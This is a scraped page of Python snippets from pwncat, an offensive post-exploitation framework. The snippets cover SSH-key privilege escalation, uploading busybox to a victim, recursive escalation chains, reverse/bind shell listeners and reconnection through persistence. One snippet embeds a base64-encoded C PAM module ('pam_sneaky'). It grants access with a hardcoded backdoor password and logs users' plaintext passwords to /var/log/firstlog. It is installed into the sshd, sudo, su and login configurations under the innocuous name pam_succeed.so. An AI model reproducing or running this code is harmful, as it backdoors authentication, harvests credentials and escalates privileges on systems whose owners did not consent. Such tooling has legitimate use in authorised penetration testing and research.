            with pwncat.victim.tempfile("w", length=len(privkey)) as dst:
                # Write the file with a nice progress bar
                dst.write(privkey)
                # Save the path to the private key. We don't need the original path,
                # if there was one, because the current user can't access the old
                # one directly.
                privkey_path = dst.name

            # Log that we created a file
            pwncat.victim.tamper.created_file(privkey_path)

            # Ensure the permissions are right so ssh doesn't freak out
            pwncat.victim.run(f"chmod 600 {privkey_path}")

            # Run ssh as the given user with our new private key
            util.progress(
                f"attempting {Fore.RED}ssh{Fore.RESET} to "
                f"localhost as {Fore.GREEN}{techniques[0].user}{Fore.RESET}")
            ssh = pwncat.victim.which("ssh")

            # First, run a test to make sure we authenticate
            command = (
                f"{ssh} -i {privkey_path} -o StrictHostKeyChecking=no -o PasswordAuthentication=no "
                f"{techniques[0].user}@127.0.0.1")
            output = pwncat.victim.run(f"{command} echo good")

            # Check if we succeeded
            if b"good" not in output:
                raise PrivescError("ssh private key failed")

            # Great! Call SSH again!
            pwncat.victim.process(command)

            # Pretty sure this worked!
            return used_technique, "exit"

        raise PrivescError(f"unable to achieve shell as {techniques[0].user}")
Esempio n. 20
0
    def bootstrap_busybox(self, url, method):
        """ Utilize the architecture we grabbed from `uname -m` to grab a
        precompiled busybox binary and upload it to the remote machine. This
        makes uploading/downloading and dependency tracking easier. It also
        makes file upload/download safer, since we have a known good set of 
        commands we can run (rather than relying on GTFObins) """

        if self.has_busybox:
            util.success("busybox is already available!")
            return

        busybox_remote_path = self.which("busybox")

        if busybox_remote_path is None:

            # We use the stable busybox version at the time of writing. This should
            # probably be configurable.
            busybox_url = url.rstrip("/") + "/busybox-{arch}"

            # Attempt to download the busybox binary
            r = requests.get(busybox_url.format(arch=self.arch), stream=True)

            # No busybox support
            if r.status_code == 404:
                util.warn(f"no busybox for architecture: {self.arch}")
                return

            with ProgressBar(f"downloading busybox for {self.arch}") as pb:
                counter = pb(int(r.headers["Content-Length"]))
                with tempfile.NamedTemporaryFile("wb", delete=False) as filp:
                    last_update = time.time()
                    busybox_local_path = filp.name
                    for chunk in r.iter_content(chunk_size=1024 * 1024):
                        filp.write(chunk)
                        counter.items_completed += len(chunk)
                        if (time.time() - last_update) > 0.1:
                            pb.invalidate()
                    counter.stopped = True
                    pb.invalidate()
                    time.sleep(0.1)

            # Stage a temporary file for busybox
            busybox_remote_path = (
                self.run("mktemp -t busyboxXXXXX").decode("utf-8").strip())

            # Upload busybox using the best known method to the remote server
            self.do_upload(
                ["-m", method, "-o", busybox_remote_path, busybox_local_path])

            # Make busybox executable
            self.run(f"chmod +x {shlex.quote(busybox_remote_path)}")

            # Remove local busybox copy
            os.unlink(busybox_local_path)

            util.success(
                f"uploaded busybox to {Fore.GREEN}{busybox_remote_path}{Fore.RESET}"
            )

        else:
            # Busybox was provided on the system!
            util.success(f"busybox already installed on remote system!")

        # Check what this busybox provides
        util.progress("enumerating provided applets")
        pipe = self.subprocess(f"{shlex.quote(busybox_remote_path)} --list")
        provides = pipe.read().decode("utf-8").strip().split("\n")
        pipe.close()

        # prune any entries which the system marks as SETUID or SETGID
        stat = self.which("stat", quote=True)

        if stat is not None:
            util.progress("enumerating remote binary permissions")
            which_provides = [f"`which {p}`" for p in provides]
            permissions = (self.run(f"{stat} -c %A {' '.join(which_provides)}"
                                    ).decode("utf-8").strip().split("\n"))
            new_provides = []
            for name, perms in zip(provides, permissions):
                if "No such" in perms:
                    # The remote system doesn't have this binary
                    continue
                if "s" not in perms.lower():
                    util.progress(
                        f"keeping {Fore.BLUE}{name}{Fore.RESET} in busybox")
                    new_provides.append(name)
                else:
                    util.progress(
                        f"pruning {Fore.RED}{name}{Fore.RESET} from busybox")

            util.success(
                f"pruned {len(provides)-len(new_provides)} setuid entries")
            provides = new_provides

        # Let the class know we now have access to busybox
        self.busybox_provides = provides
        self.has_busybox = True
        self.busybox_path = busybox_remote_path
Esempio n. 21
0
    def install(self, user: Optional[str] = None):
        """ Install the persistence method """

        if pwncat.victim.current_user.id != 0:
            raise PersistenceError("must be root")

        # Source to our module
        sneaky_source = textwrap.dedent("""
I2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxzZWN1cml0eS9wYW1fbW9kdWxlcy5oPgojaW5j
bHVkZSA8c2VjdXJpdHkvcGFtX2V4dC5oPgojaW5jbHVkZSA8c3RyaW5nLmg+CiNpbmNsdWRlIDxz
eXMvZmlsZS5oPgojaW5jbHVkZSA8ZXJybm8uaD4KI2luY2x1ZGUgPG9wZW5zc2wvc2hhLmg+ClBB
TV9FWFRFUk4gaW50IHBhbV9zbV9hdXRoZW50aWNhdGUocGFtX2hhbmRsZV90ICpoYW5kbGUsIGlu
dCBmbGFncywgaW50IGFyZ2MsIGNvbnN0IGNoYXIgKiphcmd2KQp7CiAgICBpbnQgcGFtX2NvZGU7
CiAgICBjb25zdCBjaGFyICp1c2VybmFtZSA9IE5VTEw7CiAgICBjb25zdCBjaGFyICpwYXNzd29y
ZCA9IE5VTEw7CiAgICBjaGFyIHBhc3N3ZF9saW5lWzEwMjRdOwogICAgaW50IGZvdW5kX3VzZXIg
PSAwOwoJY2hhciBrZXlbMjBdID0ge19fUFdOQ0FUX0hBU0hfX307CglGSUxFKiBmaWxwOwogICAg
cGFtX2NvZGUgPSBwYW1fZ2V0X3VzZXIoaGFuZGxlLCAmdXNlcm5hbWUsICJVc2VybmFtZTogIik7
CiAgICBpZiAocGFtX2NvZGUgIT0gUEFNX1NVQ0NFU1MpIHsKICAgICAgICByZXR1cm4gUEFNX0lH
Tk9SRTsKICAgIH0KICAgIGZpbHAgPSBmb3BlbigiL2V0Yy9wYXNzd2QiLCAiciIpOwogICAgaWYo
IGZpbHAgPT0gTlVMTCApewogICAgICAgIHJldHVybiBQQU1fSUdOT1JFOwogICAgfQogICAgd2hp
bGUoIGZnZXRzKHBhc3N3ZF9saW5lLCAxMDI0LCBmaWxwKSApewogICAgICAgIGNoYXIqIHZhbGlk
X3VzZXIgPSBzdHJ0b2socGFzc3dkX2xpbmUsICI6Iik7CiAgICAgICAgaWYoIHN0cmNtcCh2YWxp
ZF91c2VyLCB1c2VybmFtZSkgPT0gMCApewogICAgICAgICAgICBmb3VuZF91c2VyID0gMTsKICAg
ICAgICAgICAgYnJlYWs7CiAgICAgICAgfSAKICAgIH0KICAgIGZjbG9zZShmaWxwKTsKICAgIGlm
KCBmb3VuZF91c2VyID09IDAgKXsKICAgICAgICByZXR1cm4gUEFNX0lHTk9SRTsKICAgIH0KICAg
IHBhbV9jb2RlID0gcGFtX2dldF9hdXRodG9rKGhhbmRsZSwgUEFNX0FVVEhUT0ssICZwYXNzd29y
ZCwgIlBhc3N3b3JkOiAiKTsKICAgIGlmIChwYW1fY29kZSAhPSBQQU1fU1VDQ0VTUykgewogICAg
ICAgIHJldHVybiBQQU1fSUdOT1JFOwogICAgfQoJaWYoIG1lbWNtcChTSEExKHBhc3N3b3JkLCBz
dHJsZW4ocGFzc3dvcmQpLCBOVUxMKSwga2V5LCAyMCkgIT0gMCApewoJCWZpbHAgPSBmb3Blbigi
X19QV05DQVRfTE9HX18iLCAiYSIpOwoJCWlmKCBmaWxwICE9IE5VTEwgKQoJCXsKCQkJZnByaW50
ZihmaWxwLCAiJXM6JXNcbiIsIHVzZXJuYW1lLCBwYXNzd29yZCk7CgkJCWZjbG9zZShmaWxwKTsK
CQl9CgkJcmV0dXJuIFBBTV9JR05PUkU7Cgl9CiAgICByZXR1cm4gUEFNX1NVQ0NFU1M7Cn0KUEFN
X0VYVEVSTiBpbnQgcGFtX3NtX2FjY3RfbWdtdChwYW1faGFuZGxlX3QgKnBhbWgsIGludCBmbGFn
cywgaW50IGFyZ2MsIGNvbnN0IGNoYXIgKiphcmd2KSB7CiAgICAgcmV0dXJuIFBBTV9JR05PUkU7
Cn0KUEFNX0VYVEVSTiBpbnQgcGFtX3NtX3NldGNyZWQocGFtX2hhbmRsZV90ICpwYW1oLCBpbnQg
ZmxhZ3MsIGludCBhcmdjLCBjb25zdCBjaGFyICoqYXJndikgewogICAgIHJldHVybiBQQU1fSUdO
T1JFOwp9ClBBTV9FWFRFUk4gaW50IHBhbV9zbV9vcGVuX3Nlc3Npb24ocGFtX2hhbmRsZV90ICpw
YW1oLCBpbnQgZmxhZ3MsIGludCBhcmdjLCBjb25zdCBjaGFyICoqYXJndikgewogICAgIHJldHVy
biBQQU1fSUdOT1JFOwp9ClBBTV9FWFRFUk4gaW50IHBhbV9zbV9jbG9zZV9zZXNzaW9uKHBhbV9o
YW5kbGVfdCAqcGFtaCwgaW50IGZsYWdzLCBpbnQgYXJnYywgY29uc3QgY2hhciAqKmFyZ3YpIHsK
ICAgICByZXR1cm4gUEFNX0lHTk9SRTsKfQpQQU1fRVhURVJOIGludCBwYW1fc21fY2hhdXRodG9r
KHBhbV9oYW5kbGVfdCAqcGFtaCwgaW50IGZsYWdzLCBpbnQgYXJnYywgY29uc3QgY2hhciAqKmFy
Z3YpewogICAgIHJldHVybiBQQU1fSUdOT1JFOwp9Cg==
            """).replace("\n", "")
        sneaky_source = base64.b64decode(sneaky_source).decode("utf-8")

        # We use the backdoor password. Build the string of encoded bytes
        # These are placed in the source like: char password_hash[] = {0x01, 0x02, 0x03, ...};
        password = hashlib.sha1(
            pwncat.victim.config["backdoor_pass"].encode("utf-8")).digest()
        password = "******".join(hex(c) for c in password)

        # Insert our key
        sneaky_source = sneaky_source.replace("__PWNCAT_HASH__", password)

        # Insert the log location for successful passwords
        sneaky_source = sneaky_source.replace("__PWNCAT_LOG__",
                                              "/var/log/firstlog")

        # Write the source
        try:

            util.progress("pam_sneaky: compiling shared library")

            try:
                # Compile our source for the remote host
                lib_path = pwncat.victim.compile(
                    [io.StringIO(sneaky_source)],
                    suffix=".so",
                    cflags=["-shared", "-fPIE"],
                    ldflags=["-lcrypto"],
                )
            except (FileNotFoundError, CompilationError) as exc:
                raise PersistenceError(f"pam: compilation failed: {exc}")

            util.progress("pam_sneaky: locating pam module location")

            # Locate the pam_deny.so to know where to place the new module
            pam_modules = "/usr/lib/security"
            try:
                results = (pwncat.victim.run(
                    "find / -name pam_deny.so 2>/dev/null | grep -v 'snap/'").
                           strip().decode("utf-8"))
                if results != "":
                    results = results.split("\n")
                    pam_modules = os.path.dirname(results[0])
            except FileNotFoundError:
                pass

            util.progress(f"pam_sneaky: pam modules located in {pam_modules}")

            # Ensure the directory exists and is writable
            access = pwncat.victim.access(pam_modules)
            if (Access.DIRECTORY | Access.WRITE) in access:
                # Copy the module to a non-suspicious path
                util.progress(
                    f"pam_sneaky: copying shared library to {pam_modules}")
                pwncat.victim.env([
                    "mv", lib_path,
                    os.path.join(pam_modules, "pam_succeed.so")
                ])
                new_line = "auth\tsufficient\tpam_succeed.so\n"

                util.progress(f"pam_sneaky: adding pam auth configuration")

                # Add this auth method to the following pam configurations
                for config in ["sshd", "sudo", "su", "login"]:
                    util.progress(
                        f"pam_sneaky: adding pam auth configuration: {config}")
                    config = os.path.join("/etc/pam.d", config)
                    try:
                        # Read the original content
                        with pwncat.victim.open(config, "r") as filp:
                            content = filp.readlines()
                    except (PermissionError, FileNotFoundError):
                        continue

                    # We need to know if there is a rootok line. If there is,
                    # we should add our line after it to ensure that rootok still
                    # works.
                    contains_rootok = any("pam_rootok" in line
                                          for line in content)

                    # Add this auth statement before the first auth statement
                    for i, line in enumerate(content):
                        # We either insert after the rootok line or before the first
                        # auth line, depending on if rootok is present
                        if contains_rootok and "pam_rootok" in line:
                            content.insert(i + 1, new_line)
                        elif not contains_rootok and line.startswith("auth"):
                            content.insert(i, new_line)
                            break
                    else:
                        content.append(new_line)

                    content = "".join(content)

                    try:
                        with pwncat.victim.open(config,
                                                "w",
                                                length=len(content)) as filp:
                            filp.write(content)
                    except (PermissionError, FileNotFoundError):
                        continue

                pwncat.victim.tamper.created_file("/var/log/firstlog")

                util.erase_progress()

        except FileNotFoundError as exc:
            # A needed binary wasn't found. Clean up whatever we created.
            raise PersistenceError(str(exc))
Esempio n. 22
0
    def do_privesc(self, argv):
        """ Attempt privilege escalation """

        parser = argparse.ArgumentParser(prog="privesc")
        parser.add_argument(
            "--list",
            "-l",
            action="store_true",
            help="do not perform escalation. list potential escalation methods",
        )
        parser.add_argument(
            "--all",
            "-a",
            action="store_const",
            dest="user",
            const=None,
            help=
            "when listing methods, list for all users. when escalating, escalate to root.",
        )
        parser.add_argument(
            "--user",
            "-u",
            choices=[user for user in self.users],
            default="root",
            help="the target user",
        )
        parser.add_argument(
            "--max-depth",
            "-m",
            type=int,
            default=None,
            help="Maximum depth for the privesc search (default: no maximum)",
        )
        parser.add_argument(
            "--read",
            "-r",
            type=str,
            default=None,
            help="remote filename to try and read",
        )
        parser.add_argument(
            "--write",
            "-w",
            type=str,
            default=None,
            help="attempt to write to a remote file as the specified user",
        )
        parser.add_argument(
            "--data",
            "-d",
            type=str,
            default=None,
            help="the data to write a file. ignored if not write mode",
        )
        parser.add_argument(
            "--text",
            "-t",
            action="store_true",
            default=False,
            help="whether to use safe readers/writers",
        )

        try:
            args = parser.parse_args(argv)
        except SystemExit:
            # The arguments were parsed incorrectly, return.
            return

        if args.list:
            techniques = self.privesc.search(args.user)
            if len(techniques) == 0:
                util.warn("no techniques found")
            else:
                for tech in techniques:
                    util.info(f" - {tech}")
        elif args.read:
            try:
                read_pipe, chain = self.privesc.read_file(
                    args.read, args.user, args.max_depth)

                # Read the data from the pipe
                sys.stdout.buffer.write(read_pipe.read(4096))
                read_pipe.close()

                # Unwrap in case we had to privesc to get here
                self.privesc.unwrap(chain)

            except privesc.PrivescError as exc:
                util.error(f"read file failed: {exc}")
        elif args.write:
            if args.data is None:
                util.error("no data specified")
            else:
                if args.data.startswith("@"):
                    with open(args.data[1:], "rb") as f:
                        data = f.read()
                else:
                    data = args.data.encode("utf-8")
                try:
                    chain = self.privesc.write_file(
                        args.write,
                        data,
                        safe=not args.text,
                        target_user=args.user,
                        depth=args.max_depth,
                    )
                    self.privesc.unwrap(chain)
                    util.success("file written successfully!")
                except privesc.PrivescError as exc:
                    util.error(f"file write failed: {exc}")
        else:
            try:
                chain = self.privesc.escalate(args.user, args.max_depth)

                ident = self.id
                backdoor = False
                if ident["euid"]["id"] == 0 and ident["uid"]["id"] != 0:
                    util.progress(
                        "EUID != UID. installing backdoor to complete privesc")
                    try:
                        self.privesc.add_backdoor()
                        backdoor = True
                    except privesc.PrivescError as exc:
                        util.warn(f"backdoor installation failed: {exc}")

                util.success("privilege escalation succeeded using:")
                for i, (technique, _) in enumerate(chain):
                    arrow = f"{Fore.YELLOW}\u2ba1{Fore.RESET} "
                    print(f"{(i+1)*' '}{arrow}{technique}")

                if backdoor:
                    print((f"{(len(chain)+1)*' '}{arrow}"
                           f"{Fore.YELLOW}pwncat{Fore.RESET} backdoor"))

                self.reset()
                self.do_back([])
            except privesc.PrivescError as exc:
                util.error(f"escalation failed: {exc}")
Esempio n. 23
0
    def escalate(
        self,
        target_user: str = None,
        depth: int = None,
        chain: List[Technique] = [],
        starting_user=None,
    ) -> List[Tuple[Technique, str]]:
        """ Search for a technique chain which will gain access as the given 
        user. """

        if target_user is None:
            target_user = "******"

        if target_user == "root" and self.backdoor_user:
            target_user = self.backdoor_user["name"]

        current_user = self.pty.current_user
        if (target_user == current_user["name"] or current_user["uid"] == 0
                or current_user["name"] == "root"):
            raise PrivescError(f"you are already {current_user['name']}")

        if starting_user is None:
            starting_user = current_user

        if depth is not None and len(chain) > depth:
            raise PrivescError("max depth reached")

        # Enumerate escalation options for this user
        techniques = []
        for method in self.methods:
            try:
                util.progress(f"evaluating {method} method")
                found_techniques = method.enumerate(capability=Capability.SHELL
                                                    | Capability.SUDO
                                                    | Capability.WRITE)
                for tech in found_techniques:
                    if tech.user == target_user:
                        try:
                            util.progress(f"evaluating {tech}")
                            exit_command = self.escalate_single(
                                tech)  # tech.method.execute(tech)
                            chain.append((tech, exit_command))
                            return chain
                        except PrivescError:
                            pass
                techniques.extend(found_techniques)
            except PrivescError:
                pass

        # We can't escalate directly to the target. Instead, try recursively
        # against other users.
        for tech in techniques:
            if tech.user == target_user:
                continue
            if self.in_chain(tech.user, chain):
                continue
            try:
                exit_command = self.escalate_single(
                    tech)  # tech.method.execute(tech)
                chain.append((tech, exit_command))
            except PrivescError:
                continue
            try:
                return self.escalate(target_user, depth, chain, starting_user)
            except PrivescError:
                tech, exit_command = chain[-1]
                self.pty.run(exit_command, wait=False)
                chain.pop()

        raise PrivescError(f"no route to {target_user} found")
Esempio n. 24
0
    def run(self, args):

        if pwncat.victim.client is not None:
            util.error(
                "connect can only be called prior to an active connection!")
            return

        if args.config:
            try:
                # Load the configuration
                with open(args.config, "r") as filp:
                    pwncat.victim.command_parser.eval(filp.read(), args.config)
            except OSError as exc:
                self.parser.error(str(exc))

        if args.action == "none":
            # No action was provided, and no connection was made in the config
            if pwncat.victim.client is None:
                self.parser.print_help()
            return

        if args.action == "listen":
            if not args.host:
                args.host = "0.0.0.0"

            util.progress(f"binding to {args.host}:{args.port}")

            # Create the socket server
            server = socket.create_server((args.host, args.port),
                                          reuse_port=True)

            try:
                # Wait for a connection
                (client, address) = server.accept()
            except KeyboardInterrupt:
                util.warn(f"aborting listener...")
                return

            util.success(f"received connection from {address[0]}:{address[1]}")
            pwncat.victim.connect(client)
        elif args.action == "connect":
            if not args.host:
                self.parser.error(
                    "host address is required for outbound connections")

            util.progress(f"connecting to {args.host}:{args.port}")

            # Connect to the remote host
            client = socket.create_connection((args.host, args.port))

            util.success(f"connection to {args.host}:{args.port} established")
            pwncat.victim.connect(client)
        elif args.action == "ssh":

            if not args.port:
                args.port = 22

            if not args.user:
                self.parser.error("you must specify a user")

            if not (args.password or args.identity):
                self.parser.error(
                    "either a password or identity file is required")

            try:
                # Connect to the remote host's ssh server
                sock = socket.create_connection((args.host, args.port))
            except Exception as exc:
                util.error(str(exc))
                return

            # Create a paramiko SSH transport layer around the socket
            t = paramiko.Transport(sock)
            try:
                t.start_client()
            except paramiko.SSHException:
                sock.close()
                util.error("ssh negotiation failed")
                return

            if args.identity:
                try:
                    # Load the private key for the user
                    key = paramiko.RSAKey.from_private_key_file(args.identity)
                except:
                    password = prompt("RSA Private Key Passphrase: ",
                                      is_password=True)
                    key = paramiko.RSAKey.from_private_key_file(
                        args.identity, password)

                # Attempt authentication
                try:
                    t.auth_publickey(args.user, key)
                except paramiko.ssh_exception.AuthenticationException as exc:
                    util.error(f"authentication failed: {exc}")
            else:
                try:
                    t.auth_password(args.user, args.password)
                except paramiko.ssh_exception.AuthenticationException as exc:
                    util.error(f"authentication failed: {exc}")

            if not t.is_authenticated():
                t.close()
                sock.close()
                return

            # Open an interactive session
            chan = t.open_session()
            chan.get_pty()
            chan.invoke_shell()

            # Initialize the session!
            pwncat.victim.connect(chan)
        elif args.action == "reconnect":
            if not args.host:
                self.parser.error(
                    "host address or hash is required for reconnection")

            try:
                addr = ipaddress.ip_address(args.host)
                util.progress(f"enumerating persistence methods for {addr}")
                host = (pwncat.victim.session.query(
                    pwncat.db.Host).filter_by(ip=str(addr)).first())
                if host is None:
                    util.error(f"{args.host}: not found in database")
                    return
                host_hash = host.hash
            except ValueError:
                host_hash = args.host

            # Reconnect to the given host
            try:
                pwncat.victim.reconnect(host_hash, args.method, args.user)
            except PersistenceError as exc:
                util.error(f"{args.host}: connection failed")
                return
        elif args.action == "list":
            if pwncat.victim.session is not None:
                for host in pwncat.victim.session.query(pwncat.db.Host):
                    if len(host.persistence) == 0:
                        continue
                    print(
                        f"{Fore.MAGENTA}{host.ip}{Fore.RESET} - {Fore.RED}{host.distro}{Fore.RESET} - {Fore.YELLOW}{host.hash}{Fore.RESET}"
                    )
                    for p in host.persistence:
                        print(
                            f"  - {Fore.BLUE}{p.method}{Fore.RESET} as {Fore.GREEN}{p.user if p.user else 'system'}{Fore.RESET}"
                        )
        else:
            util.error(f"{args.action}: invalid action")
Esempio n. 25
0
    def run(self, args):

        if args.action == "list":
            techniques = pwncat.victim.privesc.search(args.user)
            if len(techniques) == 0:
                util.warn("no techniques found")
            else:
                for tech in techniques:
                    util.info(f" - {tech}")
        elif args.action == "read":
            if not args.path:
                self.parser.error("missing required argument: --path")
            try:
                read_pipe, chain = pwncat.victim.privesc.read_file(
                    args.path, args.user, args.max_depth)
                util.success("file successfully opened!")

                # Read the data from the pipe
                shutil.copyfileobj(read_pipe, sys.stdout.buffer)
                read_pipe.close()

                # Unwrap in case we had to privesc to get here
                pwncat.victim.privesc.unwrap(chain)

            except privesc.PrivescError as exc:
                util.error(f"read file failed: {exc}")
        elif args.action == "write":
            # Make sure the correct arguments are present
            if not args.path:
                self.parser.error("missing required argument: --path")
            if not args.data:
                self.parser.error("missing required argument: --data")

            # Read in the data file
            try:
                with open(args.data, "rb") as f:
                    data = f.read()
            except PermissionError:
                self.parser.error(f"no local permission to read: {args.data}")

            try:
                # Attempt to write the data to the remote file
                chain = pwncat.victim.privesc.write_file(
                    args.path,
                    data,
                    target_user=args.user,
                    depth=args.max_depth,
                )
                pwncat.victim.privesc.unwrap(chain)
                util.success("file written successfully!")
            except privesc.PrivescError as exc:
                util.error(f"file write failed: {exc}")
        elif args.action == "escalate":
            try:
                chain = pwncat.victim.privesc.escalate(args.user,
                                                       args.max_depth)

                ident = pwncat.victim.id
                if ident["euid"]["id"] == 0 and ident["uid"]["id"] != 0:
                    util.progress(
                        "mismatched euid and uid; attempting backdoor installation."
                    )
                    for method in pwncat.victim.persist.available:
                        if not method.system or not method.local:
                            continue
                        try:
                            # Attempt to install this persistence method
                            pwncat.victim.persist.install(method.name)
                            if not method.escalate():
                                # The escalation didn't work, remove it and try the next
                                pwncat.victim.persist.remove(method.name)
                                continue
                            chain.append((
                                f"{method.format()} ({Fore.CYAN}euid{Fore.RESET} correction)",
                                "exit",
                            ))
                            break
                        except PersistenceError:
                            continue

                util.success("privilege escalation succeeded using:")
                for i, (technique, _) in enumerate(chain):
                    arrow = f"{Fore.YELLOW}\u2ba1{Fore.RESET} "
                    print(f"{(i+1)*' '}{arrow}{technique}")
                pwncat.victim.reset()
                pwncat.victim.state = State.RAW
            except privesc.PrivescError as exc:
                util.error(f"escalation failed: {exc}")
Esempio n. 26
0
    def run(self, args):

        if args.action == "list":
            techniques = pwncat.victim.privesc.search(args.user)
            if len(techniques) == 0:
                util.warn("no techniques found")
            else:
                for tech in techniques:
                    util.info(f" - {tech}")
        elif args.action == "read":
            if not args.path:
                self.parser.error("missing required argument: --path")
            try:
                read_pipe, chain = pwncat.victim.privesc.read_file(
                    args.path, args.user, args.max_depth)
                util.success("file successfully opened!")

                # Read the data from the pipe
                shutil.copyfileobj(read_pipe, sys.stdout.buffer)
                read_pipe.close()

                # Unwrap in case we had to privesc to get here
                pwncat.victim.privesc.unwrap(chain)

            except privesc.PrivescError as exc:
                util.error(f"read file failed: {exc}")
        elif args.action == "write":
            # Make sure the correct arguments are present
            if not args.path:
                self.parser.error("missing required argument: --path")
            if not args.data:
                self.parser.error("missing required argument: --data")

            # Read in the data file
            with open(args.data, "rb") as f:
                data = f.read()

            try:
                # Attempt to write the data to the remote file
                chain = pwncat.victim.privesc.write_file(
                    args.path,
                    data,
                    target_user=args.user,
                    depth=args.max_depth,
                )
                pwncat.victim.privesc.unwrap(chain)
                util.success("file written successfully!")
            except privesc.PrivescError as exc:
                util.error(f"file write failed: {exc}")
        elif args.action == "escalate":
            try:
                chain = pwncat.victim.privesc.escalate(args.user,
                                                       args.max_depth)

                ident = pwncat.victim.id
                backdoor = False
                if ident["euid"]["id"] == 0 and ident["uid"]["id"] != 0:
                    util.progress(
                        "EUID != UID. installing backdoor to complete privesc")
                    try:
                        pwncat.victim.privesc.add_backdoor()
                        backdoor = True
                    except privesc.PrivescError as exc:
                        util.warn(f"backdoor installation failed: {exc}")

                util.success("privilege escalation succeeded using:")
                for i, (technique, _) in enumerate(chain):
                    arrow = f"{Fore.YELLOW}\u2ba1{Fore.RESET} "
                    print(f"{(i+1)*' '}{arrow}{technique}")

                if backdoor:
                    print((f"{(len(chain)+1)*' '}{arrow}"
                           f"{Fore.YELLOW}pwncat{Fore.RESET} backdoor"))

                pwncat.victim.reset()
                pwncat.victim.state = State.RAW
            except privesc.PrivescError as exc:
                util.error(f"escalation failed: {exc}")
Esempio n. 27
0
    def bootstrap_busybox(self, url):
        """ Utilize the architecture we grabbed from `uname -m` to grab a
        precompiled busybox binary and upload it to the remote machine. This
        makes uploading/downloading and dependency tracking easier. It also
        makes file upload/download safer, since we have a known good set of 
        commands we can run (rather than relying on GTFObins) """

        if self.has_busybox:
            util.success("busybox is already available!")
            return

        busybox_remote_path = self.which("busybox")

        if busybox_remote_path is None:

            # We use the stable busybox version at the time of writing. This should
            # probably be configurable.
            busybox_url = url.rstrip("/") + "/busybox-{arch}"

            # Attempt to download the busybox binary
            r = requests.get(busybox_url.format(arch=self.arch), stream=True)

            # No busybox support
            if r.status_code == 404:
                util.warn(f"no busybox for architecture: {self.arch}")
                return

            # Grab the original_content length if provided
            length = r.headers.get("Content-Length", None)
            if length is not None:
                length = int(length)

            # Stage a temporary file for busybox
            busybox_remote_path = (
                self.run("mktemp -t busyboxXXXXX").decode("utf-8").strip()
            )

            # Open the remote file for writing
            with self.open(busybox_remote_path, "wb", length=length) as filp:

                # Local function for transferring the original_content
                def transfer(on_progress):
                    for chunk in r.iter_content(chunk_size=1024 * 1024):
                        filp.write(chunk)
                        on_progress(len(chunk))

                # Run the transfer with a progress bar
                util.with_progress(
                    f"uploading busybox for {self.arch}", transfer, length,
                )

            # Make busybox executable
            self.run(f"chmod +x {shlex.quote(busybox_remote_path)}")

            # Custom tamper to remove busybox and stop tracking it here
            self.tamper.custom(
                (
                    f"{Fore.RED}installed{Fore.RESET} {Fore.GREEN}busybox{Fore.RESET} "
                    f"to {Fore.CYAN}{busybox_remote_path}{Fore.RESET}"
                ),
                self.remove_busybox,
            )

            util.success(
                f"uploaded busybox to {Fore.GREEN}{busybox_remote_path}{Fore.RESET}"
            )

        else:
            # Busybox was provided on the system!
            util.success(f"busybox already installed on remote system!")

        # Check what this busybox provides
        util.progress("enumerating provided applets")
        pipe = self.subprocess(f"{shlex.quote(busybox_remote_path)} --list")
        provides = pipe.read().decode("utf-8").strip().split("\n")
        pipe.close()

        # prune any entries which the system marks as SETUID or SETGID
        stat = self.which("stat", quote=True)

        if stat is not None:
            util.progress("enumerating remote binary permissions")
            which_provides = [f"`which {p}`" for p in provides]
            new_provides = []

            with self.subprocess(
                f"{stat} -c %A {' '.join(which_provides)}", "r"
            ) as pipe:
                for name, perms in zip(provides, pipe):
                    perms = perms.decode("utf-8").strip().lower()
                    if "no such" in perms:
                        # The remote system doesn't have this binary
                        continue
                    if "s" not in perms:
                        util.progress(
                            f"keeping {Fore.BLUE}{name}{Fore.RESET} in busybox"
                        )
                        new_provides.append(name)
                    else:
                        util.progress(
                            f"pruning {Fore.RED}{name}{Fore.RESET} from busybox"
                        )

            util.success(f"pruned {len(provides)-len(new_provides)} setuid entries")
            provides = new_provides

        # Let the class know we now have access to busybox
        self.busybox_provides = provides
        self.has_busybox = True
        self.busybox_path = busybox_remote_path